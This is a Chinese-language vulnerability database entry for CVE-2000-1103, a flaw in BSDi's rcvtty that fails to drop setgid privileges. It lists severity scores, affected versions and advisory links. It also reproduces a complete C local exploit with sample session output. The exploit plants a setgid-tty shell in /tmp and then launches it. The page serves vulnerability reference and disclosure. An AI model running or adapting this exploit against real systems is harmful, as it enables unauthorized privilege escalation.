CVE-2000-1103
CVSS7.2
发布时间 :2001-01-09 00:00:00
修订时间 :2008-09-05 16:22:39
NMCOES    

[原文]rcvtty in BSD 3.0 and 4.0 does not properly drop privileges before executing a script, which allows local attackers to gain privileges by specifying an alternate Trojan horse script on the command line.


[CNNVD]rcvtty执行任意命令漏洞(CNNVD-200101-011)

        BSD 3.0和4.0版本的rcvtty执行脚本前不正确关闭特权。本地用户可以通过指定替代命令行中的特洛伊木马脚本提升特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:bsdi:bsd_os:4.0.1
cpe:/o:bsdi:bsd_os:3.1
cpe:/o:bsdi:bsd_os:3.0
cpe:/o:bsdi:bsd_os:4.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1103
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-1103
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200101-011
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2009
(VENDOR_ADVISORY)  BID  2009
http://www.securityfocus.com/archive/1/147120
(VENDOR_ADVISORY)  BUGTRAQ  20001127 BSDi 3.0/4.0 rcvtty gid=tty exploit... (mh package)

- 漏洞信息

rcvtty执行任意命令漏洞
高危 输入验证
2001-01-09 00:00:00 2005-10-20 00:00:00
本地  
        BSD 3.0和4.0版本的rcvtty执行脚本前不正确关闭特权。本地用户可以通过指定替代命令行中的特洛伊木马脚本提升特权。

- 公告与补丁

        Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 漏洞信息 (202)

BSDi 3.0 / 4.0 rcvtty[mh] Local Exploit (EDBID:202)
bsd local
2000-11-21 Verified
0 vade79
N/A [点击下载]
/*
   (BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[v9@fakehalo.org].  this exploit
   is for the rcvtty of the mh package, which is setgid=4(tty) on BSDi.  this
   exploit gives you egid/group=4(tty) access.

   example:
   -------------------------------------------------
   bash-2.02$ id
   uid=101(v9) gid=100(user) groups=100(user)
   bash-2.02$ cc xrcvtty.c -o xrcvtty
   bash-2.02$ ./xrcvtty
   [ (BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[v9@fakehalo.org]. ]
   
   [*] /usr/contrib/mh/lib/rcvtty appears to be setgid.
   [*] now making shell script to execute.
   [*] done, now building and executing the command line.
   [*] done, now checking for success.
   [*] success, /tmp/ttysh is now setgid.
   [*] finished, everything appeared to have gone successful.
   [?] do you wish to enter the sgidshell now(y/n)?: y
   [*] ok, executing shell(/tmp/ttysh) now.
   $ id
   uid=101(v9) gid=100(user) egid=4(tty) groups=4(tty), 100(user)
   $ 
   -------------------------------------------------

   info: findings and exploit by v9[v9@fakehalo.org].
*/

#define PATH		"/usr/contrib/mh/lib/rcvtty"	/* path to rcvtty. */
#define MAKESHELL 	"/tmp/mksh.sh"			/* tmpfile to exec. */
#define SGIDSHELL	"/tmp/ttysh"			/* gidshell location. */
#include <stdio.h>
#include <sys/stat.h>

main()
{
  char cmd[256],in[1];
  struct stat mod1,mod2;
  FILE *sgidexec;
  fprintf(stderr,"[ (BSDi3.0/4.0)rcvtty[mh] local exploit, by v9[v9@fakehalo.org]. ]\n\n",PATH);
  if(stat(PATH,&mod1)){
    fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
    exit(1);
  } else if(mod1.st_mode==34285){
    fprintf(stderr,"[*] %s appears to be setgid.\n",PATH);
  } else {
    fprintf(stderr,"[!] failed, %s doesn't appear to be setgid.\n",PATH);
    exit(1);
  }
  fprintf(stderr,"[*] now making shell script to execute.\n");
  unlink(MAKESHELL);
  sgidexec=fopen(MAKESHELL,"w");
  fprintf(sgidexec,"#!/bin/sh\n");
  fprintf(sgidexec,"cp /bin/sh %s\n",SGIDSHELL);
  fprintf(sgidexec,"chgrp tty %s\n",SGIDSHELL);
  fprintf(sgidexec,"chmod 2755 %s\n",SGIDSHELL);
  fclose(sgidexec);
  chmod(MAKESHELL,33261);
  fprintf(stderr,"[*] done, now building and executing the command line.\n");
  snprintf(cmd,sizeof(cmd),"echo yes | %s %s 1>/dev/null 2>&1",PATH,MAKESHELL);
  system(cmd);
  unlink(MAKESHELL);
  fprintf(stderr,"[*] done, now checking for success.\n");
  if(stat(SGIDSHELL,&mod2)){
    fprintf(stderr,"[!] failed, %s doesn't exist.\n",SGIDSHELL);
    exit(1);
  } else if(mod2.st_mode==34285){
    fprintf(stderr,"[*] success, %s is now setgid.\n",SGIDSHELL);
  } else {
    fprintf(stderr,"[!] failed, %s doesn't appear to be setgid.\n",SGIDSHELL);
    exit(1);
  }
  fprintf(stderr,"[*] finished, everything appeared to have gone successful.\n");
  fprintf(stderr,"[?] do you wish to enter the sgidshell now(y/n)?: ");
  scanf("%s",in);
  if(strcmp(in,"y")){
    printf("[*] ok, aborting execution, the shell is: %s.\n",SGIDSHELL);
  } else{
    printf("[*] ok, executing shell(%s) now.\n",SGIDSHELL);
    execl(SGIDSHELL,SGIDSHELL,0);
  }
  exit(0);
}


// milw0rm.com [2000-11-21]
		

- 漏洞信息

13756
BSD rcvtty Incoming Message Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

BSD contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when the rcvtty component fails to properly drop SGID privileges before executing arbitrary commands contained within incoming messages. A malicious user can prepare a shell script containing the commands, which will execute with the privileges of the tty group. This flaw may lead to a loss of integrity.

- 时间线

2000-11-26 Unknow
2000-11-26 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

rcvtty Arbitrary Command Execution Vulnerability
Input Validation Error 2009
No Yes
2000-11-27 12:00:00 2009-07-11 03:56:00
This vulnerability was first posted to BugTraq by Vade79 <v9@fakehalo.org> on November 27, 2000.

- 受影响的程序版本

BSDI BSD/OS 4.0.1
BSDI BSD/OS 4.0
BSDI BSD/OS 3.1
BSDI BSD/OS 3.0

- 漏洞讨论

rcvtty is a component of the unix NH mail system. The version of rcvtty for BSD/OS systems is known to contain a vulnerability that may allow local users to elevate their privileges.

The problem occurs in the ability of rcvtty to execute programs on the system without first dropping SGID priviledges. A shell script run through rcvtty would result in the contents of the shell script being executed with a SGID of tty. This creates the potential for a malicious user to gain elevated system priviledges.

- 漏洞利用

exploit available

- 解决方案

Currently the SecurityFocus staff are not ware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站